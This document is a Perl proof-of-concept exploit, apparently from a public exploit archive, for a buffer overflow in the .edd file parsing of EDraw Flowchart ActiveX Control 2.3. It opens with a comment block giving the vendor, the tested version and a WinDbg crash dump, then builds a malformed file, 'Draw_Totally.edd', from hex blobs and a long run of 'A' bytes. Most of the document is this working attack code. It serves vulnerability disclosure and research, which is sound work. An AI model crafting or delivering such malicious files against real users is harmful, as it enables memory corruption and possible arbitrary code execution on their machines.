EDraw Flowchart ActiveX Control 2.3 - .edd parsing Buffer Overflow
#!/usr/bin/perl
#
#
# Title: EDraw Flowchart ActiveX Control 2.3 (.edd parsing) Remote Buffer Overflow PoC
#
#
# Vendor: EdrawSoft
#
# Product Web Page: http://www.edrawsoft.com
#
# Summary: Do you want to learn how to draw? Now you can online! Learn how to draw like a
# local application with Edraw Flowchart ActiveX Control that lets you quickly
# build basic flowcharts, organizational charts, business charts, hr diagram,
# work flow, programming flowchart and network diagrams.
#
# Description: EDraw Flowchart ActiveX Control version 2.3 suffers from a buffer overflow
# vulnerability when parsing .edd file format resulting in an application
# crash and overwritten few memory registers which can aid the attacker to
# execute arbitrary code.
#
# Tested On: Microsoft Windows XP Professional SP3 (EN)
#
# Version Tested: 2.3.0.6
#
#
# Windbg:
# --------------------------------------------------------------------------------------
#
# (305c.1ee4): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=027a0020 ebx=00000000 ecx=0c841000 edx=3fffff45 esi=0012f2e4 edi=41414141
# eip=10083bbd esp=0012f198 ebp=01055734 iopl=0 nv up ei pl nz na po nc
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
# EDImage!DllUnregisterServer+0x5594d:
# 10083bbd 895904 mov dword ptr [ecx+4],ebx ds:0023:0c841004=????????
#
# --------------------------------------------------------------------------------------
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#
# Zero Science Lab - http://www.zeroscience.mk
#
# liquidworm gmail com
#
#
#
# 20.04.2010
#
# Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4935.php
#
#
$pqbdpq = "\x00\x0C\x00\x00\x00\x00\x00\x00\x00\x33\x73\x46\x44\x1F\x55\x8C\x44\x00".
"\x00\x3D\x43\x00\x00\x3D\x43\x00\x00\x3D\x43\x00\x00\x3D\x43\x00\x00\x80".
"\x3F\xFF\xFF\xFF\xFF\xFF\x90\x99\xAE\xFF\x6C\x72\x82\x02\x00\x00\x00\x01".
"\x00\x00\x00\xFF\xFF\x00\x03\xFF\x22\x37\xEA\x01\x00\x00\x00\xFF\xAD\xD8".
"\xE6\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x3F\x02\x00\x00\x00\x01".
"\x00\x00\x00\xFF\xF4\x00\x00\x00\x00\x00\x00\x00\x00\x42\x43\x1F\xF5\xA3".
"\x44\x33\x73\x46\x44\x00\x00\xA0\x40\x33\xB3\x75\x44\x00\x00\x42\x43\x00".
"\x00\xA0\x40\x1F\x55\x8C\x44\x00\x00\x3D\x43\x00\x00\x3D\x43\x33\x73\x46".
"\x44\x1F\x55\x8C\x44\x00\x01\x00\xFF\xFF\x00\x00\x06\x00\x43\x53\x52\x65".
"\x63\x74\x01\x00\x00\xA8\x2C\x02\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
"\x00\x00\x00\x00\x55\x01\x00\x00\xD7\x01\x00\x00\xDC\x01\x00\x00\x76\x02".
"\x00\x00\x00\x00\xAE\x43\x00\x00\xFB\x43\x00\x00\xEA\x43\x00\x80\x1B\x44".
"\x00\x00\xCC\x43\x00\x80\x1B\x44\x00\x00\x80\x3F\x00\x00\x80\x3F\x00\x00".
"\x80\x3F\x00\x00\x80\x3F\x00\x00\x80\x3F\x00\x00\x80\x3F\x00\x00\x80\x3F".
"\x00\x00\xF0\x42\x00\x00\xF0\x42\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xCC\x43\x00\x80\x0C\x44\x08\x00\x00\x00\x06\x43\x53\x52\x65\x63\x74\x00".
"\x00\x00\x80\x3F\x00\x00\x00\x00\x00\x06\x31\x30\x30\x31\x2C\x32\x00\xFF".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x80\x3F\x00\x00\x00\x00\xFE\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\x00".
"\xFF\x00\x00\x00\x00\x00\x80\x3F\x01\x00\x00\x00\x00\x00\x00\x00\xFF\x00".
"\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00".
"\x00\xFF\x02\x00\x00\x00\xFE\xFF\xFF\xFF\xFF\x00\x00\x00\xFF\xFF\xFF\xFF".
"\x00\x00\x01\x00\xFF\xFF\x00\x00\x08\x00\x43\x54\x65\x78\x74\x4F\x62\x6A".
"\x00\x00\x01\x20\x2D\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x20\x44\x00\x00\x20\x44\x00\x00\x3E\x44\x00\x00\x3E\x44\x00\x00".
"\x2F\x44\x00\x00\x3E\x44\x00\x00\x80\x3F\x00\x00\x80\x3F\x00\x00\x80\x3F".
"\x00\x00\x80\x3F\x00\x00\x80\x3F\x00\x00\x80\x3F\x00\x00\x80\x3F\x00\x00".
"\xE6\x42\x00\x00\xE6\x42\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xCC\x43".
"\x00\x80\x0C\x44\x00\x00\x00\x00\x08\x43\x54\x65\x78\x74\x4F\x62\x6A\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x3F\x00\x00\x00\x00".
"\xFE\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\x00\xFF\xFF\xFF\xFF\x00\x00".
"\x80\x3F\x01\x00\x00\x00\x00\x00\x00\x00\xFF\x00\x00\x00\x00\x02\x00\x00".
"\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xFF\x02\x00\x00\x00".
"\xFE\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00".
"\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\xCC\x43\x00\x40\xFC\x43\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x40\xAF\x43\x00\x40".
"\xFC\x43\x01\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x04\x00\x00\x00\x00\x00\xCC\x43\x00\x40\xFC\x43\x01\x00\x00\x00\x20\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\xC0\xE8\x43".
"\x00\x40\xFC\x43\x01\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x04\x00\x00\x00\x00\xC0\xE8\x43\x00\x80\x0C\x44\x01\x00\x00\x00".
"\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00";
$qpdbqp = "\xC0\xE8\x43\x00\xE0\x1A\x44\x01\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\xCC\x43\x00\xE0\x1A\x44\x01".
"\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00".
"\x00\x00\x40\xAF\x43\x00\xE0\x1A\x44\x01\x00\x00\x00\x20\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x40\xAF\x43\x00\x80\x0C".
"\x44\x01\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04".
"\x00\x00\x00\x00\x00\xCC\x43\x00\xC0\xEF\x43\x01\x00\x00\x00\x40\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\xCC\x43\x00".
"\x80\x0C\x44\x03\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x34\x25\x0D\x10\xFF\x00\x00\x00".
"\xFF\xFF\xFF\x00\x02\x00\x00\x00\x05\x00\x00\x00\x04\xCB\xCE\xCC\xE5\x0A".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\x05".
"\x00\x00\x00\x00\x00\x00\xCC\x43\x00\x00\xFB\x43\x01\x00\x00\xEA\x43\x00".
"\xC0\x08\x44\x01\x00\x80\xE2\x43\x00\x80\x1B\x44\x01\x00\x80\xB5\x43\x00".
"\x80\x1B\x44\x81\x00\x00\xAE\x43\x00\xC0\x08\x44\x10\x00\x00\x00\x00\x00".
"\x00\x00\xCC\x43\x00\x00\xFB\x43\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00".
"\xFF\xFF\x00\x00\x07\x00\x43\x43\x74\x72\x6C\x50\x74\x04\x00\x00\x00\x00".
"\x00\xCC\x43\x00\x00\xFB\x43\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\xBF\x05\x80\x04\x00\x00\x00\x00\x00\xAE\x43\x00\xC0\x08".
"\x44\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\xBF\x00\x00\x00\xBE\x05".
"\x80\x04\x00\x00\x00\x00\x00\xEA\x43\x00\xC0\x08\x44\x01\x00\x00\x00\x02".
"\x00\x00\x00\x00\x00\x00\x3F\x00\x00\x00\xBE\x05\x80\x04\x00\x00\x00\x00".
"\x80\xB5\x43\x00\x80\x1B\x44\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\xC0".
"\xBE\x00\x00\x00\x3F\x05\x80\x04\x00\x00\x00\x00\x80\xE2\x43\x00\x80\x1B".
"\x44\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\xC0\x3E\x00\x00\x00\x3F\x04".
"\x00\x00\x00\x00\x00\xAE\x43\x00\x00\xFB\x43\x01\x00\x00\x00\x20\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\xCC\x43\x00".
"\x00\xFB\x43\x01\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x04\x00\x00\x00\x00\x00\xEA\x43\x00\x00\xFB\x43\x01\x00\x00\x00\x20".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\xEA".
"\x43\x00\x80\x0C\x44\x01\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x04\x00\x00\x00\x00\x00\xEA\x43\x00\x80\x1B\x44\x01\x00\x00".
"\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00".
"\x00\xCC\x43\x00\x80\x1B\x44\x01\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\xAE\x43\x00\x80\x1B\x44\x01".
"\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00".
"\x00\x00\x00\xAE\x43\x00\x80\x0C\x44\x01\x00\x00\x00\x20\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\xCC\x43\x00\x80\xEE".
"\x43\x01\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04".
"\x00\x00\x00\x00\x00\xCC\x43\x00\x80\x0C\x44\x03\x00\x00\x00\x01\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
$dpqpqb = "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41";
$bppqqd = "Draw_Totally.edd";
open edd, ">./$bppqqd" || die "\nCan't open $bppqqd: $!";
print edd "$pqbdpq" . "$dpqpqb x 50" . "$qpdbqp";
print "\n ~ Buffering...\n"; sleep 1;
close edd;
print "\n ~ File $bppqqd ready!\n";